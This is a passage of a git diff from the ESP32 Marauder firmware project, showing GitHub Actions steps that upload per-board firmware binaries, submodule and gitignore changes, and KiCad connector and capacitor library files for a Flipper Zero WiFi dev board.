- name: 'Upload Marauder M5StickC Plus Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.m5stickc_plus.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
uses: actions/create-release@v1
|
||||
@@ -274,6 +456,7 @@ jobs:
|
||||
release_name: Release ${{ github.ref }}
|
||||
draft: true
|
||||
prerelease: false
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Flipper Asset
|
||||
id: upload-flipper-release-asset
|
||||
@@ -285,6 +468,31 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
|
||||
asset_name: esp32_marauder.flipper.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Flipper SD Serial Asset
|
||||
id: upload-flipper-sd-serial-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
|
||||
asset_name: esp32_marauder.flipper_sd_serial.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload MultiboardS3 Asset
|
||||
id: upload-multiboardS3-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
|
||||
asset_name: esp32_marauder.multiboardS3.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload OG Asset
|
||||
id: upload-og-release-asset
|
||||
@@ -296,6 +504,7 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.og.bin
|
||||
asset_name: esp32_marauder.og.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload v6 Asset
|
||||
id: upload-v6-release-asset
|
||||
@@ -307,6 +516,7 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||
asset_name: esp32_marauder.v6.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Kit Asset
|
||||
id: upload-kit-release-asset
|
||||
@@ -318,6 +528,7 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.kit.bin
|
||||
asset_name: esp32_marauder.kit.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Mini Asset
|
||||
id: upload-mini-release-asset
|
||||
@@ -329,3 +540,40 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
|
||||
asset_name: esp32_marauder.mini.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload ESP32 LDDB Asset
|
||||
id: upload-esp32-lddb-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
|
||||
asset_name: esp32_marauder.esp32_lddb.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Marauder Dev Board Pro Asset
|
||||
id: upload-marauder-dev-board-pro-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
|
||||
asset_name: esp32_marauder.marauder_dev_board_pro.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Marauder M5StickC Plus Asset
|
||||
id: upload-m5stickc-plus-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
|
||||
asset_name: esp32_marauder.m5stickc_plus.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,3 +1,5 @@
|
||||
|
||||
.vscode/arduino.json
|
||||
.vscode/c_cpp_properties.json
|
||||
.vscode/settings.json
|
||||
esp32_marauder/.vscode/settings.json
|
||||
|
||||
24
.gitmodules
vendored
Normal file
24
.gitmodules
vendored
Normal file
@@ -0,0 +1,24 @@
|
||||
[submodule "esp32_marauder/libraries/lv_arduino"]
|
||||
path = esp32_marauder/libraries/lv_arduino
|
||||
url = https://github.com/lvgl/lv_arduino.git
|
||||
[submodule "esp32_marauder/libraries/LinkedList"]
|
||||
path = esp32_marauder/libraries/LinkedList
|
||||
url = https://github.com/ivanseidel/LinkedList.git
|
||||
[submodule "esp32_marauder/libraries/TFT_eSPI"]
|
||||
path = esp32_marauder/libraries/TFT_eSPI
|
||||
url = https://github.com/justcallmekoko/TFT_eSPI.git
|
||||
[submodule "esp32_marauder/libraries/JPEGDecoder"]
|
||||
path = esp32_marauder/libraries/JPEGDecoder
|
||||
url = https://github.com/Bodmer/JPEGDecoder.git
|
||||
[submodule "esp32_marauder/libraries/NimBLE-Arduino"]
|
||||
path = esp32_marauder/libraries/NimBLE-Arduino
|
||||
url = https://github.com/h2zero/NimBLE-Arduino.git
|
||||
[submodule "esp32_marauder/libraries/Adafruit_NeoPixel"]
|
||||
path = esp32_marauder/libraries/Adafruit_NeoPixel
|
||||
url = https://github.com/adafruit/Adafruit_NeoPixel.git
|
||||
[submodule "esp32_marauder/libraries/ArduinoJson"]
|
||||
path = esp32_marauder/libraries/ArduinoJson
|
||||
url = https://github.com/bblanchon/ArduinoJson.git
|
||||
[submodule "esp32_marauder/libraries/SwitchLib"]
|
||||
path = esp32_marauder/libraries/SwitchLib
|
||||
url = https://github.com/justcallmekoko/SwitchLib.git
|
||||
BIN
FlashFiles/FlipperZeroDevBoard/boot_app0.bin
Normal file
BIN
FlashFiles/FlipperZeroDevBoard/boot_app0.bin
Normal file
Binary file not shown.
BIN
FlashFiles/FlipperZeroDevBoard/esp32_marauder.ino.bootloader.bin
Normal file
BIN
FlashFiles/FlipperZeroDevBoard/esp32_marauder.ino.bootloader.bin
Normal file
Binary file not shown.
BIN
FlashFiles/FlipperZeroDevBoard/esp32_marauder.ino.partitions.bin
Normal file
BIN
FlashFiles/FlipperZeroDevBoard/esp32_marauder.ino.partitions.bin
Normal file
Binary file not shown.
BIN
FlashFiles/FlipperZeroMultiBoardS3/boot_app0.bin
Normal file
BIN
FlashFiles/FlipperZeroMultiBoardS3/boot_app0.bin
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
PCBs/FlipperZero/WiFi-Devboard-Pro/BOM.ods
Normal file
BIN
PCBs/FlipperZero/WiFi-Devboard-Pro/BOM.ods
Normal file
Binary file not shown.
@@ -0,0 +1,35 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model 3220-10-0300-00
|
||||
#/13184465/987070/2.49/10/3/Connector
|
||||
DEF 3220-10-0300-00 J 0 30 Y Y 1 F N
|
||||
F0 "J" 750 300 50 H V L CNN
|
||||
F1 "3220-10-0300-00" 750 200 50 H V L CNN
|
||||
F2 "322010030000" 750 100 50 H I L CNN
|
||||
F3 "http://www.cnctech.us/pdfs/3220-XX-0300-00-TR_.PDF" 750 0 50 H I L CNN
|
||||
F4 "Conn Shrouded Header (4 Sides) HDR 10 POS 1.27mm Solder ST SMD" 750 -100 50 H I L CNN "Description"
|
||||
F5 "5.45" 750 -200 50 H I L CNN "Height"
|
||||
F6 "CNC Tech" 750 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "3220-10-0300-00" 750 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "" 750 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "" 750 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "3220-10-0300-00" 750 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "https://www.arrow.com/en/products/3220-10-0300-00/cnc-tech-llc?region=nac" 750 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 750 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 750 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X 1 1 0 0 200 R 50 50 0 0 P
|
||||
X 2 2 900 0 200 L 50 50 0 0 P
|
||||
X 3 3 0 -100 200 R 50 50 0 0 P
|
||||
X 4 4 900 -100 200 L 50 50 0 0 P
|
||||
X 5 5 0 -200 200 R 50 50 0 0 P
|
||||
X 6 6 900 -200 200 L 50 50 0 0 P
|
||||
X 7 7 0 -300 200 R 50 50 0 0 P
|
||||
X 8 8 900 -300 200 L 50 50 0 0 P
|
||||
X 9 9 0 -400 200 R 50 50 0 0 P
|
||||
X 10 10 900 -400 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 700 100 700 -500 200 -500 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,47 @@
|
||||
(module "322010030000" (layer F.Cu)
|
||||
(descr "3220-10-0300-00-1")
|
||||
(tags "Connector")
|
||||
(attr smd)
|
||||
(fp_text reference J** (at 0.000 -0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0.000 -0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "322010030000" (at 0.000 -0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -6.35 -2.5) (end 6.35 -2.5) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 6.35 -2.5) (end 6.35 2.5) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 6.35 2.5) (end -6.35 2.5) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -6.35 2.5) (end -6.35 -2.5) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -7.35 -4.15) (end 7.35 -4.15) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 7.35 -4.15) (end 7.35 4.15) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 7.35 4.15) (end -7.35 4.15) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -7.35 4.15) (end -7.35 -4.15) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -3.4 -2.5) (end -6.35 -2.5) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -6.35 -2.5) (end -6.35 2.5) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -6.35 2.5) (end -3.4 2.5) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -2.6 3.6) (end -2.6 3.6) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start -2.5 3.6) (end -2.5 3.6) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start 3.4 -2.5) (end 6.35 -2.5) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 6.35 -2.5) (end 6.35 2.5) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 6.35 2.5) (end 3.4 2.5) (layer F.SilkS) (width 0.2))
|
||||
(fp_arc (start -2.55 3.6) (end -2.600 3.6) (angle -180) (layer F.SilkS) (width 0.1))
|
||||
(fp_arc (start -2.55 3.6) (end -2.500 3.6) (angle -180) (layer F.SilkS) (width 0.1))
|
||||
(pad 1 smd rect (at -2.540 1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at -2.540 -1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at -1.270 1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at -1.270 -1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 5 smd rect (at 0.000 1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 6 smd rect (at 0.000 -1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 7 smd rect (at 1.270 1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 8 smd rect (at 1.270 -1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 9 smd rect (at 2.540 1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 10 smd rect (at 2.540 -1.765 0) (size 0.650 2.770) (layers F.Cu F.Paste F.Mask))
|
||||
(model 3220-10-0300-00.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,51 @@
|
||||
(module "503398-1892" (layer F.Cu)
|
||||
(descr "503398-1892")
|
||||
(tags "Connector")
|
||||
(attr smd)
|
||||
(fp_text reference J** (at 5.996 8.167) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 5.996 8.167) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "503398-1892" (at 5.996 8.167) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start 0 0) (end 0 14.05) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 0 14.05) (end 13.1 14.05) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 13.1 14.05) (end 13.1 0) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 0 0) (end 2.849 0) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 13.1 0) (end 12.474 0) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 12.474 0) (end 12.474 2.42) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 12.474 2.42) (end 3.554 2.42) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 2.849 0) (end 3.554 2.42) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 0 0) (end 2.849 0) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 2.849 0) (end 3.554 2.42) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 3.554 2.42) (end 12.109 2.42) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 13.1 3.65) (end 13.1 10.65) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 0 2.65) (end 0 10.648) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 13.1 0) (end 12.474 0) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 7.5 14.05) (end 12.3 14.05) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 3.15 14.05) (end 5.8 14.05) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 0.74 14.05) (end 1.6 14.05) (layer F.SilkS) (width 0.2))
|
||||
(fp_circle (center 4.116 0.356) (end 4.116 0.41057) (layer F.SilkS) (width 0.2))
|
||||
(pad 1 smd rect (at 4.17 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at 5.27 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at 6.37 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at 7.47 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 5 smd rect (at 8.57 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 6 smd rect (at 9.67 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 7 smd rect (at 10.77 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 8 smd rect (at 11.87 1.4 0) (size 0.7 1.1) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 9 smd rect (at 2.38 13.865 0) (size 0.9 0.93) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 10 smd rect (at 6.645 13.94 90) (size 0.78 1.05) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 11 smd rect (at 13.03 12.665 0) (size 0.7 3.33) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 12 smd rect (at 12.95 1.9 0) (size 0.86 2.8) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 13 smd rect (at 0.29 1.415 0) (size 1.14 1.83) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 14 smd rect (at 0.07 12.665 0) (size 0.7 3.33) (layers F.Cu F.Paste F.Mask))
|
||||
(model 503398-1892.stp
|
||||
(at (xyz 0.25787402325728 -0.31968503486453 0.02362204818275))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
35
PCBs/FlipperZero/WiFi-Devboard-Pro/Libraries/503398-1892.lib
Normal file
35
PCBs/FlipperZero/WiFi-Devboard-Pro/Libraries/503398-1892.lib
Normal file
@@ -0,0 +1,35 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model 503398-1892
|
||||
#/269057/987070/2.49/10/4/Connector
|
||||
DEF 503398-1892 J 0 30 Y Y 1 F N
|
||||
F0 "J" 1550 300 50 H V L CNN
|
||||
F1 "503398-1892" 1550 200 50 H V L CNN
|
||||
F2 "503398-1892" 1550 100 50 H I L CNN
|
||||
F3 "http://www.molex.com/webdocs/datasheets/pdf/en-us//5033981892_MEMORY_CARD_SOCKET.pdf" 1550 0 50 H I L CNN
|
||||
F4 "MicroSD SMT Push-Push 1.28mm height MicroSD SMT Push-Push 1.28mm height" 1550 -100 50 H I L CNN "Description"
|
||||
F5 "" 1550 -200 50 H I L CNN "Height"
|
||||
F6 "Molex" 1550 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "503398-1892" 1550 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "538-503398-1892" 1550 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/Molex/503398-1892?qs=b0v8CoHHvSMxV%252BW12iKaSg%3D%3D" 1550 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "" 1550 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "" 1550 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 1550 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 1550 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X DAT2 1 0 0 200 R 50 50 0 0 P
|
||||
X CD/DAT3 2 0 -100 200 R 50 50 0 0 P
|
||||
X CMD 3 0 -200 200 R 50 50 0 0 P
|
||||
X VDD 4 0 -300 200 R 50 50 0 0 P
|
||||
X CLK 5 0 -400 200 R 50 50 0 0 P
|
||||
X VSS 6 1700 0 200 L 50 50 0 0 P
|
||||
X DAT0 7 1700 -100 200 L 50 50 0 0 P
|
||||
X DAT1 8 1700 -200 200 L 50 50 0 0 P
|
||||
X DETECT_LEVER 9 1700 -300 200 L 50 50 0 0 P
|
||||
X DETECT_SWITCH 10 1700 -400 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 1500 100 1500 -500 200 -500 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,29 @@
|
||||
(module "CAPC1005X55N" (layer F.Cu)
|
||||
(descr "CC0402")
|
||||
(tags "Capacitor")
|
||||
(attr smd)
|
||||
(fp_text reference C** (at 0 0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0 0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "CAPC1005X55N" (at 0 0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -0.91 -0.46) (end 0.91 -0.46) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 0.91 -0.46) (end 0.91 0.46) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 0.91 0.46) (end -0.91 0.46) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -0.91 0.46) (end -0.91 -0.46) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -0.5 -0.25) (end 0.5 -0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 0.5 -0.25) (end 0.5 0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 0.5 0.25) (end -0.5 0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -0.5 0.25) (end -0.5 -0.25) (layer F.Fab) (width 0.1))
|
||||
(pad 1 smd rect (at -0.46 0 0) (size 0.6 0.62) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at 0.46 0 0) (size 0.6 0.62) (layers F.Cu F.Paste F.Mask))
|
||||
(model CC0402KRX7R7BB104.stp
|
||||
(at (xyz -0.020472440193957 -0.011023622094177 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz -90 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,29 @@
|
||||
(module "CAPC1005X60N" (layer F.Cu)
|
||||
(descr "CL05A105KA5NQNC")
|
||||
(tags "Capacitor")
|
||||
(attr smd)
|
||||
(fp_text reference C** (at 0 0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0 0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "CAPC1005X60N" (at 0 0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -0.92 -0.47) (end 0.92 -0.47) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 0.92 -0.47) (end 0.92 0.47) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 0.92 0.47) (end -0.92 0.47) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -0.92 0.47) (end -0.92 -0.47) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -0.5 -0.25) (end 0.5 -0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 0.5 -0.25) (end 0.5 0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 0.5 0.25) (end -0.5 0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -0.5 0.25) (end -0.5 -0.25) (layer F.Fab) (width 0.1))
|
||||
(pad 1 smd rect (at -0.46 0 0) (size 0.62 0.64) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at 0.46 0 0) (size 0.62 0.64) (layers F.Cu F.Paste F.Mask))
|
||||
(model CL05A105KA5NQNC.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,30 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model CC0402KRX7R7BB104
|
||||
#/319043/987070/2.49/2/4/Capacitor
|
||||
DEF CC0402KRX7R7BB104 C 0 30 Y Y 1 F N
|
||||
F0 "C" 350 250 50 H V L CNN
|
||||
F1 "CC0402KRX7R7BB104" 350 150 50 H V L CNN
|
||||
F2 "CAPC1005X55N" 350 50 50 H I L CNN
|
||||
F3 "http://www.datasheets360.com/pdf/-5354154806277341459" 350 -50 50 H I L CNN
|
||||
F4 "Cap 100nF 16V 0402 SMD 10% X7R Phycomp 100nF Multilayer Ceramic Capacitor (MLCC) 16 V dc +/-10% X7R dielectric Standard max op. temp. +125C" 350 -150 50 H I L CNN "Description"
|
||||
F5 "0.55" 350 -250 50 H I L CNN "Height"
|
||||
F6 "KEMET" 350 -350 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "CC0402KRX7R7BB104" 350 -450 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "603-CC402KRX7R7BB104" 350 -550 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/YAGEO/CC0402KRX7R7BB104?qs=AgBp2OyFlx%252BSOyhfyS7hpw%3D%3D" 350 -650 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "CC0402KRX7R7BB104" 350 -750 50 H I L CNN "Arrow Part Number"
|
||||
F11 "https://www.arrow.com/en/products/cc0402krx7r7bb104/yageo?region=nac" 350 -850 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 350 -950 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 350 -1050 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X ~ 1 0 0 200 R 50 50 0 0 P
|
||||
X ~ 2 500 0 200 L 50 50 0 0 P
|
||||
P 2 0 1 6 220 100 220 -100 N
|
||||
P 2 0 1 6 280 100 280 -100 N
|
||||
P 2 0 1 6 200 0 220 0 N
|
||||
P 2 0 1 6 280 0 300 0 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,30 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model CL05A105KA5NQNC
|
||||
#/1601150/987070/2.49/2/3/Capacitor
|
||||
DEF CL05A105KA5NQNC C 0 30 Y Y 1 F N
|
||||
F0 "C" 350 250 50 H V L CNN
|
||||
F1 "CL05A105KA5NQNC" 350 150 50 H V L CNN
|
||||
F2 "CAPC1005X60N" 350 50 50 H I L CNN
|
||||
F3 "https://www.arrow.com/en/products/cl05a105ka5nqnc/samsung-electro-mechanics" 350 -50 50 H I L CNN
|
||||
F4 "Cap Ceramic 1uF 25V X5R 10% Pad SMD 0402 85C T/R" 350 -150 50 H I L CNN "Description"
|
||||
F5 "0.6" 350 -250 50 H I L CNN "Height"
|
||||
F6 "Samsung Electro-Mechanics" 350 -350 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "CL05A105KA5NQNC" 350 -450 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "187-CL05A105KA5NQNC" 350 -550 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/Samsung-Electro-Mechanics/CL05A105KA5NQNC?qs=X6jEic%2FHinDIeFgZnm60Lw%3D%3D" 350 -650 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "CL05A105KA5NQNC" 350 -750 50 H I L CNN "Arrow Part Number"
|
||||
F11 "https://www.arrow.com/en/products/cl05a105ka5nqnc/samsung-electro-mechanics?region=europe" 350 -850 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 350 -950 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 350 -1050 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X ~ 1 0 0 200 R 50 50 0 0 P
|
||||
X ~ 2 500 0 200 L 50 50 0 0 P
|
||||
P 2 0 1 6 220 100 220 -100 N
|
||||
P 2 0 1 6 280 100 280 -100 N
|
||||
P 2 0 1 6 200 0 220 0 N
|
||||
P 2 0 1 6 280 0 300 0 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,30 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model CL05B104KO5NNNC
|
||||
#/563787/987070/2.49/2/3/Capacitor
|
||||
DEF CL05B104KO5NNNC C 0 30 Y Y 1 F N
|
||||
F0 "C" 350 250 50 H V L CNN
|
||||
F1 "CL05B104KO5NNNC" 350 150 50 H V L CNN
|
||||
F2 "CAPC1005X55N" 350 50 50 H I L CNN
|
||||
F3 "https://datasheet.datasheetarchive.com/originals/distributors/Datasheets-DGA10/2408147.pdf" 350 -50 50 H I L CNN
|
||||
F4 "Samsung Electro-Mechanics CL05B104KO5NNNC 100nF Multilayer Ceramic Capacitor MLCC 16V dc +/-10% Tolerance SMD" 350 -150 50 H I L CNN "Description"
|
||||
